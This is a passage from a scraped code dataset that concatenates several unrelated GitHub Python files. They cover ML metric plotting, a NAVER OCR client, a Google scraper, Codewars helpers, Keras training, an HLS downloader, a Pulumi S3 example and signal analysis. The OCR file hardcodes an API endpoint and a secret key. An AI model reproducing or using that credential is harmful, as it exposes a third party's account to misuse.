np.percentile(np.array(aurocs), 97.5))\n auprc_bounds = (np.percentile(np.array(auprcs), 2.5), np.percentile(np.array(auprcs), 97.5))\n roc_auc = auc(*roc_dict[\"actual\"])\n pr_auc = auc(*pr_dict[\"actual\"])\n axarr[0].plot(*roc_dict[\"actual\"], 'red', label=f\"AUROC: {roc_auc:.2f} ({auroc_bounds[0]:.2f}, {auroc_bounds[1]:.2f})\")\n axarr[1].step(*pr_dict[\"actual\"], 'red', where='post', label=f\"AUPRC: {pr_auc:.2f} ({auprc_bounds[0]:.2f}, {auprc_bounds[1]:.2f})\")\n axarr[0].set_xlabel(\"1-Specificity\\n(False Positive Rate)\")\n axarr[0].set_ylabel(\"Sensitivity \\n(True Positive Rate)\")\n axarr[1].set_xlabel(\"Recall (Sensitivity)\")\n axarr[1].set_ylabel(\"Precision (PPV)\")\n if saveFigs:\n print('saving nl fig')\n f.savefig(figName+'_noLegend.png')\n if legend:\n axarr[0].legend()\n axarr[1].legend()\n if saveFigs:\n print('saving l fig')\n f.savefig(figName+'_Legend.png')\n# plt.tight_layout()\n return f, axarr\n\n\ndef plotly_plot(roc_dict, pr_dict):\n fig = plotly.subplots.make_subplots(rows=1, cols=2)\n fig.add_trace(\n go.Scatter(x=roc_dict[\"actual\"][0], \n y=roc_dict[\"actual\"][1],\n name=\"ROC\",\n line_color='red'),\n row=1, col=1\n )\n for fpr, tpr in zip(*roc_dict[\"sim\"]):\n fig.add_trace(\n go.Scatter(x=fpr, y=tpr, \n fillcolor='gray', \n opacity=0.05,\n showlegend=False,\n hoverinfo='skip',\n line_color='blue'),\n row=1, col=1\n )\n \n fig.add_trace(\n go.Scatter(x=pr_dict[\"actual\"][0], \n y=pr_dict[\"actual\"][1],\n name=\"ROC\",\n line_color='red'),\n row=1, col=2\n )\n for rec, pr in zip(*pr_dict[\"sim\"]):\n fig.add_trace(\n go.Scatter(x=rec, y=pr, \n fillcolor='gray', \n opacity=0.05,\n showlegend=False,\n hoverinfo='skip',\n line_color='blue'),\n row=1, col=2\n )\n \n return fig\n\ndef plot_results(y_true, y_pred, saveFigs=False, figName='', legend=True):\n roc_dict, pr_dict = bootstrap(y_true, y_pred, n=100)\n mpl_plot(roc_dict, pr_dict, saveFigs=saveFigs, figName=figName, legend=legend)\n\n \"\"\"plt.figure(figsize=(10, 5))\n plot_data = [y_pred[list(y_true.values) == 0], y_pred[list(y_true.values) == 1]]\n plt.violinplot(plot_data, #widths=[0.5, y_true.sum() / len(y_true) * 0.5], \n showmedians=True, showextrema=True) #, alpha=0.6) quantiles=[25, 75], \n plt.xticks([1, 2], [\"Negative\", \"Positive\"])\n plt.ylim([0, 1.1])\n plt.ylabel(\"Probability\")\n# plt.hist(y_pred[y_true == 0], alpha=0.6, label=\"negative\")\n# plt.hist(y_pred[y_true == 1], alpha=0.6, label=\"positive\")\n# plt.legend()\n plt.tight_layout()\"\"\"\n\ndef plot_metrics_df(df):\n f, ax = plt.subplots(figsize=(10, 5))\n ax = df.boxplot(\n column=[\"sensitivity\", \"specificity\", \"ppv\", \"npv\", \"fpr\"], ax=ax) # , \"Brier\", \n return f, ax\n\ndef plot_cis(y_true, y_pred, threshold_to_use=0.5, plot=True, ax=None):\n cm_df = ci_bootstrap(y_true, y_pred, threshold=threshold_to_use)\n metrics_df = cm_df.copy()\n metrics_df[\"sensitivity\"] = cm_df[\"TP\"] / (cm_df[\"TP\"] + cm_df[\"FN\"])\n metrics_df[\"specificity\"] = cm_df[\"TN\"] / (cm_df[\"TN\"] + cm_df[\"FP\"])\n metrics_df[\"ppv\"] = cm_df[\"TP\"] / (cm_df[\"TP\"] + cm_df[\"FP\"])\n metrics_df[\"npv\"] = cm_df[\"TN\"] / (cm_df[\"TN\"] + cm_df[\"FN\"])\n metrics_df[\"fpr\"] = cm_df[\"FP\"] / (cm_df[\"FP\"] + cm_df[\"TN\"])\n metrics_df[\"tpr\"] = metrics_df[\"sensitivity\"]\n for met in ['sensitivity', 'specificity', 'ppv', 'npv', 'fpr', 'tpr']:\n met_med=metrics_df[met].median()\n met_low=metrics_df[met].quantile(0.025)\n met_high=metrics_df[met].quantile(0.975)\n print('%s : %.2f 95%%CI (%.2f, %.2f)' % (met, met_med, met_low, met_high))\n if plot:\n f, ax = plot_metrics_df(metrics_df)\n ax.set_title(f\"Selected Threshold: {threshold_to_use:.2f}\")\n ax.set_ylim((-0.1,1.1))\n return metrics_df, ax\n return metrics_df\n\nfrom sklearn.inspection import permutation_importance\n\n\ndef plot_feature_importance(model, testData, figPath=None, n_repeats=10):\n X_test=testData.drop(['positive','negative'],axis=1).fillna(0).set_index('PatientEncounterCSNID')\n y_test = testData['positive']\n X_test = pd.DataFrame(model[1].transform(X_test), columns=X_test.columns, index=X_test.index)\n sns.set_style('whitegrid', {'axes.apines.bottom': True,\n 'axes.apines.left': True,\n 'axes.apines.right': False,\n 'axes.apines.top': False,\n 'axes.edgecolor': '.0'})\n sns.set_context('talk')\n sns.set_palette('colorblind')\n\n result = permutation_importance(model[0], X_test, y_test, n_repeats=n_repeats,\n random_state=42, n_jobs=2)\n #sorted_idx = result.importances_mean.argsort()\n \"\"\".rename(columns={\\\n 'PLATELET COUNT, AUTO':'Platelet Count',\\\n 'D-DIMER':'D-Dimer'})\"\"\"\n #idx_grouped=[10, 9, 8, 7, 14, 11, 6, 5, 4, 3, 2, 1, 0, 13, 12]\n idx_grouped=[4, 5, 9, 11, 10, 8, 7, 6, 3, 2, 1, 0, 13, 12]\n print(X_test.columns)\n #print(X_test.columns[[x for x in range(len(result.importances))]])\n print(X_test.columns[idx_grouped])\n fig, ax = plt.subplots(figsize=(10,10))\n ax.boxplot(result.importances[idx_grouped].T,\n vert=False, labels=X_test.columns[idx_grouped])\n ax.set_title(\"Permutation Importances (test set)\")\n fig.tight_layout()\n plt.show()\n if figPath is not None:\n plt.savefig(figPath)","repo_name":"Pairas92/Covid19Proxy","sub_path":"source/viz_utils.py","file_name":"viz_utils.py","file_ext":"py","file_size_in_byte":8526,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"31158553985","text":"import requests\nimport uuid\nimport time\nimport json\nimport base64\n\ndef NAVER_OCR(img_64):\n api_url = 'https://mh3idgymxg.apigw.ntruss.com/custom/v1/16184/cbbcb487fd633ec613a5b0e8807709759a6d5f9351a05899001a46eab9980724/document/receipt'\n secret_key = 'TEtKVGZlZ2xsdnlUb2JrZG5MSW9Gc2h4bldFcGJQT1A='\n img = base64.b64encode(img_64.read()).decode()\n\n request_json = {\n 'images': [\n {\n 'format': 'jpg',\n 'name': 'receipt',\n 'data': img\n }\n ],\n 'requestId': str(uuid.uuid4()),\n 'version': 'V2',\n 'timestamp': int(round(time.time() * 1000))\n }\n\n payload = json.dumps(request_json).encode('UTF-8')\n\n headers = {\n 'Content-Type': 'application/json',\n 'X-OCR-SECRET': secret_key\n }\n\n response = requests.request(\n \"POST\", api_url, headers=headers, data=payload\n )\n \n return (response.text.encode('utf8'))\n","repo_name":"CapstoneDesign-TechMate/Frontend-Backend","sub_path":"Backend/venv/Scripts/login/accounts/ocr.py","file_name":"ocr.py","file_ext":"py","file_size_in_byte":955,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"32679969568","text":"# Import dependencies\nfrom bs4 import BeautifulSoup\nimport requests\nfrom urllib.parse import quote\nfrom pprint import pprint\nimport csv\n\nclass GoogleSpider(object):\n def __init__(self):\n \"\"\"Crawl Google search results\n\n This class is used to crawl Google's search results using requests and BeautifulSoup.\n \"\"\"\n super().__init__()\n self.headers = {\n 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:79.0) Gecko/20100101 Firefox/79.0',\n 'Host': 'www.google.com',\n 'Referer': 'https://www.google.com/'\n }\n\n def __get_source(self, url: str) -> requests.Response:\n \"\"\"Get the web page's source code\n\n Args:\n url (str): The URL to crawl\n\n Returns:\n requests.Response: The response from URL\n \"\"\"\n return requests.get(url, headers=self.headers, )\n\n def search(self, query, start = 0):\n \"\"\"Search Google\n\n Args:\n query (str): The query to search for\n\n Returns:\n list: The search results\n \"\"\"\n # Get response\n response = self.__get_source('https://www.google.com/search?q={}&start={}'.format(quote(query), str(start*10)))\n # Initialize BeautifulSoup\n soup = BeautifulSoup(response.text, 'html.parser')\n # Get the result containers\n result_containers = soup.findAll('div', class_='g')\n # Final results list\n results = []\n # Loop through every container\n for container in result_containers:\n # Result title\n try:\n title = container.find('h3').text\n except Exception as e:\n title = \"\"\n print(e)\n # Result URL\n try:\n url = container.find('a')['href']\n except Exception as e:\n url = \"\"\n print(e)\n # Result description\n try:\n des = container.find('span', class_='st')\n except Exception as e:\n des= \"\"\n print(e)\n results.append({\n 'title': title,\n 'url': url,\n 'des': des\n })\n return results\n\n\nif __name__ == '__main__':\n f = open('./mua_xuan.csv', 'a+')\n urls= list()\n writer = csv.DictWriter(f, fieldnames=['url'])\n\n\n for query in ['thơ về mùa xuân', 'những bài thơ mùa xuân', 'thơ hay về mùa xuân','thơ chúc tết']:\n for page in range(0, 9):\n print(\"query:\", query)\n print(page)\n result = GoogleSpider().search(query , start=page)\n print(result)\n for dictionary in result:\n url = dictionary['url']\n if url not in urls:\n urls.append(url)\n print(url)\n\n for url in urls:\n writer.writerow({'url': url})\n\n f.close()\n","repo_name":"phamvanhanh6720/CrawlPoem","sub_path":"crawl/listURL.py","file_name":"listURL.py","file_ext":"py","file_size_in_byte":2956,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"6880696047","text":"import concurrent.futures\nimport os\nimport re\nimport sys\nfrom collections import namedtuple\nfrom itertools import repeat\nfrom os.path import isfile, join\n\nimport requests\nfrom jinja2 import Environment, FileSystemLoader\n\nfrom .envs import ACCESS_KEY\n\ntry:\n # Python 2 UnicodeDecodeError fix on writing\n reload(sys)\n sys.setdefaultencoding('utf-8')\nexcept NameError:\n pass\n\nSTRING_LENGTH = 44\nSLUG_PATTERN = re.compile(r'.*/kata/([^/]*)')\nPATH = os.path.dirname(os.path.abspath(__file__))\nTEMPLATE_ENVIRONMENT = Environment(\n loader=FileSystemLoader(os.path.join(PATH, 'templates')))\n\nKata = namedtuple('Kata', 'name url slug rank description')\n\n\ndef get_python_version():\n if sys.version.startswith('3'):\n return 'python3'\n elif sys.version.startswith('2'):\n return 'python2'\n else:\n raise EnvironmentError('Unknown Python version')\n\n\ndef get_kata_slug(kata_name, directory):\n \"\"\"Get kata id or slug from solution file\"\"\"\n with open(join(directory, kata_name)) as solution:\n for solution_line in solution.readlines():\n match = SLUG_PATTERN.match(solution_line)\n if match:\n return match.groups()[0].rstrip()\n\n\ndef creates_kyu_folders(parent_path):\n \"\"\"Create sub folders to store solutions and tests\"\"\"\n for i in range(1, 9):\n directory_path = join(parent_path, 'kyu_%d' % i)\n if not os.path.exists(directory_path):\n os.makedirs(directory_path)\n with open(join(parent_path, directory_path, '__init__.py'), 'w'):\n pass\n\n\ndef get_rank(kata_slug, api_key):\n \"\"\"Send request to Codewars API and extract rank\"\"\"\n url = 'https://www.codewars.com/api/v1/code-challenges/%s' % kata_slug\n params = {'access_key': api_key}\n response = requests.get(url, params)\n if response.status_code == 200:\n data = response.json()\n kata_rank = abs(int(data['rank']['id']))\n return kata_rank\n else:\n raise Exception(response)\n\n\ndef sort_katas():\n \"\"\"Sort katas\"\"\"\n # Paths for solutions and tests\n src_path = os.path.realpath('../src')\n tests_path = os.path.realpath('../tests')\n\n # New directories to store solutions and tests\n print('Create sub directories for kata solutions...'.ljust(STRING_LENGTH)),\n creates_kyu_folders(src_path)\n creates_kyu_folders(tests_path)\n print('DONE')\n\n # Read solutions and tests files\n print('Read files...'.ljust(STRING_LENGTH)),\n katas = [f for f in os.listdir(src_path) if isfile(join(src_path, f))\n if f != '__init__.py']\n tests = [f for f in os.listdir(tests_path) if isfile(join(tests_path, f))\n if f != '__init__.py']\n print('DONE')\n print(' - Solutions: %d files' % len(katas))\n print(' - Tests: %d files' % len(tests))\n if len(katas) != len(tests):\n print('WARNING: number of solutions is not equal to number of tests!')\n\n # Extract kata slug from solutions files\n print('Process files for slug...'.ljust(STRING_LENGTH)),\n slugs = {kata: get_kata_slug(kata, src_path) for kata in katas}\n print('DONE')\n\n # Connect to Codewars and receive kata ranks\n print('Send requests to codewars API...'.ljust(STRING_LENGTH)),\n ranks = {}\n with concurrent.futures.ThreadPoolExecutor(max_workers=5) as executor:\n for kata, rank in zip(\n slugs.keys(),\n executor.map(get_rank, slugs.values(), repeat(ACCESS_KEY))\n ):\n ranks[kata] = rank\n print('DONE')\n\n # Move files according of rank\n print('Rearrange files...'.ljust(STRING_LENGTH))\n for kata, rank in ranks.items():\n # Solution file\n source = join(src_path, kata)\n destination = join(src_path, 'kyu_%d' % rank, kata)\n os.rename(source, destination)\n\n # Test file (move and fix imports)\n source = join(tests_path, 'test_' + kata)\n destination = join(tests_path, 'kyu_%d' % rank, 'test_' + kata)\n try:\n with open(source, 'r') as old_file,\\\n open(destination, 'w') as new_file:\n for line in old_file:\n new_file.write(line.replace('from src.',\n 'from src.kyu_%d.' % rank))\n os.remove(source)\n except OSError:\n print('Can not find test file: %s' % source)\n\n print('\\nComplete!')\n\n\ndef render_template(template_filename, context):\n return TEMPLATE_ENVIRONMENT.get_template(template_filename).render(context)\n\n\ndef get_kata_data(slug, access_key):\n \"\"\"Get kata data\"\"\"\n url = 'https://www.codewars.com/api/v1/code-challenges/%s' % slug\n params = {'access_key': access_key}\n response = requests.get(url, params)\n\n if response.status_code != 200:\n sys.stdout.write('ERROR\\n')\n raise ValueError('Can not retrieve kata data from the server!')\n else:\n return response.json()\n\n\ndef process_kata_data(data):\n \"\"\"Convert raw kata data into manageable namedtuple\n\n Args:\n data {dict}: Converted to dict json data from response\n\n Returns:\n namedtuple: Kata(name, url, slug, rank, description)\n \"\"\"\n name = data['name']\n url = data['url']\n slug = data['slug']\n rank = str(abs(data['rank']['id']))\n description = data['description']\n return Kata(name, url, slug, rank, description)\n\n\ndef create_file(data, python, file_type):\n if file_type == 'solution':\n filename = data.slug.replace('-', '_') + '.py'\n directory = os.path.join(python, 'kyu_' + data.rank)\n full_path = os.path.join(directory, filename)\n elif file_type == 'test':\n filename = 'test_' + data.slug.replace('-', '_') + '.py'\n directory = os.path.join('tests', python, 'kyu_' + data.rank)\n full_path = os.path.join(directory, filename)\n else:\n raise ValueError('Unknown file type')\n\n context = {\n 'kata': {\n 'title': data.name,\n 'python': python,\n 'filename': data.slug.replace('-', '_'),\n 'url': data.url,\n 'description': data.description,\n 'rank': data.rank,\n }\n }\n\n template = render_template('%s.jinja2' % file_type, context) + '\\n'\n\n if not os.path.isdir(directory):\n os.makedirs(directory)\n\n if not os.path.isfile(full_path):\n with open(full_path, 'w') as file:\n file.write(template)\n\n\ndef create_solution_file(data, python):\n create_file(data, python, 'solution')\n\n\ndef create_test_file(data, python):\n create_file(data, python, 'test')\n\n\ndef new_solution(slug, python):\n \"\"\"Create new solution template\"\"\"\n sys.stdout.write('Get kata data...'.ljust(STRING_LENGTH))\n data = get_kata_data(slug, ACCESS_KEY)\n sys.stdout.write('DONE\\n')\n\n sys.stdout.write('Process data...'.ljust(STRING_LENGTH)),\n data = process_kata_data(data)\n sys.stdout.write('DONE\\n')\n\n sys.stdout.write('Create solution file...'.ljust(STRING_LENGTH))\n create_solution_file(data, python)\n sys.stdout.write('DONE\\n')\n\n sys.stdout.write('Create test file...'.ljust(STRING_LENGTH))\n create_test_file(data, python)\n sys.stdout.write('DONE\\n')\n","repo_name":"smt2466/codewars","sub_path":"utils/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":7196,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"62"} +{"seq_id":"26812719198","text":"#routing.py类似于Django中的url.py指明websocket协议的路由\nfrom channels.routing import ProtocolTypeRouter, URLRouter\nfrom channels.auth import AuthMiddlewareStack\nfrom django_webssh import routing\n\n# URLRouter: 指定路由文件的路径,也可以直接将路由信息写在这里,\n# 代码中配置了路由文件的路径,会去django_webssh下的routeing.py文件中查找websocket_urlpatterns\n\napplication = ProtocolTypeRouter(\n {\n 'websocket':AuthMiddlewareStack(\n URLRouter(\n routing.websocket_urlpatterns\n )\n ),\n }\n)\n\n# from channels.routing import route\n# channel_routing = [\n# route(\"http.request\", \"django_webssh.consumers.SSHConsumer\"),\n# ]\n","repo_name":"wang-hub/webssh","sub_path":"web/web/routing.py","file_name":"routing.py","file_ext":"py","file_size_in_byte":733,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"10711640718","text":"# a Signed Distance Field (SDF) for triangles\n\n# https://www.iquilezles.org/www/articles/distfunctions2d/distfunctions2d.htm\n\nimport math\nimport bdgmath as m\n\nclass Triangle:\n def __init__(self, p0, p1, p2):\n self.points = [p0, p1, p2]\n self.p0 = p0\n self.p1 = p1\n self.p2 = p2\n\n def signedDistance(self, point):\n e0 = self.p1.subVec2(self.p0)\n e1 = self.p2.subVec2(self.p1)\n e2 = self.p0.subVec2(self.p2)\n\n v0 = point.subVec2(self.p0)\n v1 = point.subVec2(self.p1)\n v2 = point.subVec2(self.p2)\n\n pq0 = v0.subVec2(e0.mulScalar(m.clamp(\n v0.dot2dVector2(e0)/e0.dot2dVector2(e0), 0, 1)))\n pq1 = v1.subVec2(e1.mulScalar(m.clamp(\n v1.dot2dVector2(e1)/e1.dot2dVector2(e1), 0, 1)))\n pq2 = v2.subVec2(e2.mulScalar(m.clamp(\n v2.dot2dVector2(e2)/e2.dot2dVector2(e2), 0, 1)))\n\n s = m.sign(e0.x() * e2.y() - e0.y() * e2.x())\n \n a = m.Vector2(pq0.dot2dVector2(pq0), s * (v0.x() * e0.y() - v0.y() * e0.x()))\n b = m.Vector2(pq1.dot2dVector2(pq1), s * (v1.x() * e1.y() - v1.y() * e1.x()))\n c = m.Vector2(pq2.dot2dVector2(pq2), s * (v2.x() * e2.y() - v2.y() * e2.x()))\n\n d = a.min(b).min(c)\n \n return -math.sqrt(d.x())*m.sign(d.y());\n","repo_name":"tsmaster/bdgptk","sub_path":"Source/SDF_2d/triangle.py","file_name":"triangle.py","file_ext":"py","file_size_in_byte":1303,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"28484236777","text":"from keras.models import Sequential\nfrom keras.layers import Dense, Activation, Dropout\nfrom keras.layers import Reshape\nfrom keras.optimizers import SGD\nimport resources as r\n\nNB_EPOCH = 200\nSAMPLES_PER_EPOCH = 2048\nNUM_VALIDATION_SAMPLES = 113\n\nDATA_DIRECTORY = 'dog_data'\n\nNB_CLASSES = r.num_classes(data_dir)\n\ndef parse_subversion(subversion_descriptor):\n sv=subversion_descriptor\n def whereis(letter, after=0, suppress_error=False):\n pos_letter = sv.find(letter, after)\n return pos_letter\n #if pos_letter==-1\n # if suppress_error: return False\n # else:\n # print(\"Invalid subversion string:\\n\"\n # + \"Could not find {} in {}\".format(letter, sv))\n # exit(2)\n #else: return pos_letter\n letters = \"HNIAL\"\n positions = {}\n for letter_index in range(len(letters)):\n positions[letters[letter_index]] = whereis(letters[letter_index], after=positions.get(letters[letter_index-1], 0))\n results = {}\n results['optimizer'] = sv[:positions['H']].lower()\n results['hidden_size'] = int(sv[positions['H']+1:positions['N']-1])\n results['batch_size'] = int(sv[positions['N']+1:positions['I']-1])\n results['image_dimension'] = int(sv[positions['I']+1:positions['A']-1])\n results['activation'] = sv[positions['A']+1:positions['L']-1]\n if results['activation'] == 'sigm': results['activation'] = 'sigmoid'\n results['loss'] = sv[positions['L']+1:positions['L']+5] #loss is 4 chars long\n if results['loss'] == 'cate': results['loss'] = \"categorical_crossentropy\"\n if results['loss'] == 'mean': results['loss'] = \"mean_squared_error\"\n pos_l = whereis('l', positions['L'], True)\n if pos_l != -1: results['learning_rate'] = 2**-int(sv[pos_l+1:pos_l+2])\n pos_m = whereis('m', pos_l, True)\n if pos_m != -1: results['momentum'] = float(sv[pos_m+1:pos_m+4])\n pos_D = whereis('D', positions['L'])\n results['deepness'] = int(sv[pos_D+1:pos_D+2])\n pos_d = whereis('d', pos_D, True)\n if pos_d != -1: results['dropout'] = float(sv[pos_d+1:pos_d+4])\n return results\n\nif __name__ == \"__main__\":\n r.log(\"Starting program...\")\n from sys import argv\n if len(argv) != 3:\n print(\"Usage: python ff.py \")\n exit(2)\n VERSION = argv[1]\n SUBVERSION = 1\n subversion_details = argv[2]\n ops = parse_subversion(subversion_details)\n IMAGE_DIMENSION = ops['image_dimension']\n BATCH_SIZE = ops['batch_size']\n NUM_HIDDEN_LAYERS = ops['deepness']\n HIDDEN_SIZE = ops['hidden_size']\n if int(SUBVERSION) == 0:\n #make a (image input) -> (NUM_HIDDEN_LAYERS * )(hidden) -> (classification output) network\n model = Sequential()\n model.add(Reshape((IMAGE_DIMENSION**2,), input_shape=(1, IMAGE_DIMENSION, IMAGE_DIMENSION)))\n for _ in range(NUM_HIDDEN_LAYERS):\n model.add(Dense(HIDDEN_SIZE))\n model.add(Activation(ops['activation']))\n if 'dropout' in ops:\n model.add(Dropout(ops['dropout']))\n model.add(Dense(NB_CLASSES))\n model.add(Activation('softmax'))\n else:\n model = r.load(VERSION, int(SUBVERSION)-1)\n \n optimizer=ops['optimizer']\n if optimizer=='sgd' and 'learning_rate' in ops:\n if 'momentum' in ops:\n optimizer = SGD(lr=ops['learning_rate'], momentum=ops['momentum'])\n else:\n optimizer = SGD(lr=ops['learning_rate'])\n model.compile(optimizer=optimizer, loss=ops['loss'], metrics=['accuracy'])\n \n training_generator, validation_generator = r.image_generators(IMAGE_DIMENSION, BATCH_SIZE, DATA_DIRECTORY)\n \n history = model.fit_generator(\n training_generator,\n samples_per_epoch = int(SAMPLES_PER_EPOCH / BATCH_SIZE) * BATCH_SIZE,\n nb_epoch = NB_EPOCH,\n validation_data = validation_generator,\n nb_val_samples = NUM_VALIDATION_SAMPLES,\n verbose=0)\n \n r.log(\"Training done. Saving everything...\")\n r.save(model, history, VERSION, SUBVERSION)\n \n r.log(\"Done.\")\n","repo_name":"TechBotBuilder/macroinvertebrate","sub_path":"training/ff.py","file_name":"ff.py","file_ext":"py","file_size_in_byte":4095,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"21519603578","text":"import asyncio\nimport httpx\nimport os\nfrom errors import StatusError\nfrom log import log\n\n\nclass Downloader:\n def __init__(self):\n self.retryMap = {}\n self.fragRetryMax = 3\n\n async def downloadFrag(self, session, remoteUrl, storagePath, referer, fragLen):\n storageDir = '/'.join(storagePath.split('/')[:-1])\n if not os.path.exists(storageDir):\n os.mkdir(storageDir)\n try:\n timeoutLen = max(fragLen * 3, 15)\n headers = None\n if referer:\n headers = {'Referer': referer, 'Origin': referer}\n async with session.stream('GET', remoteUrl, headers=headers, timeout=timeoutLen) as fragResponse:\n fragResponse.raise_for_status()\n with open(storagePath, 'wb') as out:\n async for chunk in fragResponse.aiter_bytes():\n if not chunk:\n break\n out.write(chunk)\n return True\n except httpx.HTTPStatusError as exc:\n log(f'Response returned status {exc.response.status_code} for {storagePath}')\n return await self.handleRetry(session, remoteUrl, storagePath, referer, fragLen)\n except httpx.TimeoutException as timeoutError:\n log(f'Response timed out for {storagePath}')\n log(timeoutError)\n return await self.handleRetry(session, remoteUrl, storagePath, referer, fragLen)\n except Exception as e:\n log(f'Error downloading Frag {storagePath}')\n log(str(e))\n log(e.__class__.__name__)\n return False\n\n async def handleRetry(self, session, remoteUrl, storagePath, referer, fragLen):\n if remoteUrl in self.retryMap and self.retryMap[remoteUrl] >= self.fragRetryMax:\n log(f'Max retry exceeded for frag {storagePath}')\n return False\n else:\n log('Retrying...')\n if remoteUrl not in self.retryMap:\n self.retryMap[remoteUrl] = 0\n self.retryMap[remoteUrl] += 1\n return await self.downloadFrag(session, remoteUrl, storagePath, referer, fragLen)\n\n","repo_name":"alkerway/copylivemanifest","sub_path":"downloader.py","file_name":"downloader.py","file_ext":"py","file_size_in_byte":2175,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"40487659600","text":"import pulumi\nimport pulumi_aws as aws\nimport os\nimport mimetypes\n\nbucket = aws.s3.Bucket(\"my-bucket\",\n website={\n \"index_document\": \"index.html\"\n})\n\nfilepath = os.path.join(\"site\", \"index.html\")\nmime_type, _ = mimetypes.guess_type(filepath)\nobj = aws.s3.BucketObject(\"index.html\",\n bucket=bucket.bucket,\n source=pulumi.FileAsset(filepath),\n acl=\"public-read\",\n content_type=mime_type\n)\n\npulumi.export('bucket_name', bucket.bucket)\npulumi.export('bucket_endpoint', pulumi.Output.concat(\"http://\", bucket.website_endpoint))\n","repo_name":"pulumi/infrastructure-as-code-workshop","sub_path":"labs/aws/in-person/python/lab-01/code/04-updating-your-infrastructure/step2.py","file_name":"step2.py","file_ext":"py","file_size_in_byte":561,"program_lang":"python","lang":"en","doc_type":"code","stars":92,"dataset":"github-code","pt":"62"} +{"seq_id":"40492254284","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Feb 16 13:57:40 2011\r\n\r\n@author: paulh\r\n\"\"\"\r\n\r\n# ---------------\r\n# IMPORT PACKAGES\r\n# ---------------\r\n\r\nimport numpy as np\r\nfrom os import path\r\nimport matplotlib.pyplot as plt\r\nfrom scipy import interpolate, log10, savez, signal, stats\r\nimport roach_hsys\r\nfrom plot_tools import plot_to_subplots\r\n# ----------------\r\n# CUSTOM FUNCTIONS\r\n# ----------------\r\n\r\ndef savexy(x_dB,y_dB,fname = 'CorrGainEst'):\r\n savez(fname,x_dB=x_dB,y_dB=y_dB)\r\n \r\ndef fitxy(x,y,delta_x):\r\n x_fit_min = np.amax(x[0,:,:])\r\n x_fit_max = np.amin(x[-1,:,:])\r\n x_fit = np.arange(x_fit_min,x_fit_max,delta_x)\r\n y_fit = np.zeros((len(x_fit),np.shape(x)[1],np.shape(x)[2]))\r\n for idx_ch in range(np.shape(x)[2]):\r\n for idx_l in range(np.shape(x)[1]):\r\n y_fit[:,idx_l,idx_ch] = np.interp(x_fit,x[:,idx_l,idx_ch], \\\r\n y[:,idx_l,idx_ch])\r\n \r\n return x_fit,y_fit\r\n \r\ndef quant_norm_pmf(levels, mean=0.0, std=1.0):\r\n \"\"\"Probability mass function of quantised normal variable.\"\"\"\r\n levels = np.asarray(levels)\r\n edges = np.r_[-np.inf, levels[:-1] + np.diff(levels) / 2., np.inf]\r\n return stats.norm.cdf(edges[1:], loc=mean, scale=std) - \\\r\n stats.norm.cdf(edges[:-1], loc=mean, scale=std)\r\n\r\ndef quant_norm_var(levels, mean=0.0, std=1.0):\r\n \"\"\"Variance of quantised normal variable.\"\"\"\r\n pmf = quant_norm_pmf(levels, mean, std)\r\n quant_mean = np.dot(levels, pmf)\r\n return np.dot((levels - quant_mean) ** 2, pmf)\r\n\r\n \r\ncollapse2d = lambda x : x.ravel().reshape((np.prod(x.shape[:-1]),x.shape[-1])) \r\n\r\n# -----------------\r\n# LOAD ALL THE DATA\r\n# -----------------\r\nVNA_FileDir = 'C:\\\\CurrentProjects\\\\DataAnalalysis\\\\FFCorrGainEst\\\\vna'\r\nVNA_FileName = ['Splitter_Ch1DivCh8.csv','Splitter_Ch2DivCh8.csv', \\\r\n 'Splitter_Ch3DivCh8.csv','Splitter_Ch4DivCh8.csv']\r\n\r\npath_data = 'C://svnSystemEngineering//KAT-7//Telescope//6 Integration & verification//Analysis//Measurements//' + \\\r\n 'FF_SA_ADCPFB_XEng'\r\nfname_npy = ['EstCorrGain_NOISE_20110303_1426.npy', \\\r\n 'EstCorrGain_NOISE_20110301_1559.npy', \\\r\n 'EstCorrGain_NOISE_20110302_1246.npy']\r\n\r\n# Step 1: Load recorded dataset\r\nfor idx_f,f_npy in enumerate(fname_npy):\r\n if idx_f == 0:\r\n dataset = np.load(path_data + path.sep + f_npy)\r\n data = dataset[0]['data']\r\n else:\r\n nextdataset = np.load(path_data + path.sep + f_npy)\r\n data = np.hstack((data,nextdataset[0]['data']))\r\n\r\nif idx_f > 0:\r\n nextdataset = 0\r\n \r\nif np.rank(data['SA_ChP_dBm']) == 1:\r\n Src_NrLevels = 1\r\nelse:\r\n Src_NrLevels = np.shape(data['SA_ChP_dBm'])[0]\r\n\r\nFEng_NrCh = int(dataset[0]['FEng']['NrCh'])\r\nFEng_f_Hz = dataset[0]['FEng']['f_Hz']\r\nSys_IpChId = dataset[0]['Sys']['IpChId']\r\nSys_NrIpCh = len(Sys_IpChId)\r\ndo_correlator = dataset[0]['Proc']['do_correlator']\r\ndo_snapshot = dataset[0]['Proc']['do_snapshot']\r\n\r\n# Step 2: Extract the spectrum analyzer channel power for all input power levels\r\nif np.rank(data['SA_ChP_dBm']) == 1:\r\n SA_ChP_Base_dBm = data['SA_ChP_dBm'][np.newaxis,:,np.newaxis].repeat(Sys_NrIpCh,2)\r\nelse:\r\n SA_ChP_Base_dBm = data['SA_ChP_dBm'][:,:,np.newaxis].repeat(Sys_NrIpCh,2)\r\n\r\nSA_GainOffset_dB = np.zeros((FEng_NrCh,Sys_NrIpCh))\r\nfor idx_f,fname in enumerate(VNA_FileName):\r\n vna_data = np.loadtxt(VNA_FileDir+path.sep+fname,skiprows = 3)\r\n tck = interpolate.splrep(vna_data[:,0],vna_data[:,1],s=0) # Get cubic spline t,c,k tuple representing the knot-points,cofficients and order (taken from http://docs.scipy.org/doc/scipy-0.8.x/reference/tutorial/interpolate.html)\r\n SA_GainOffset_dB[:,idx_f] = 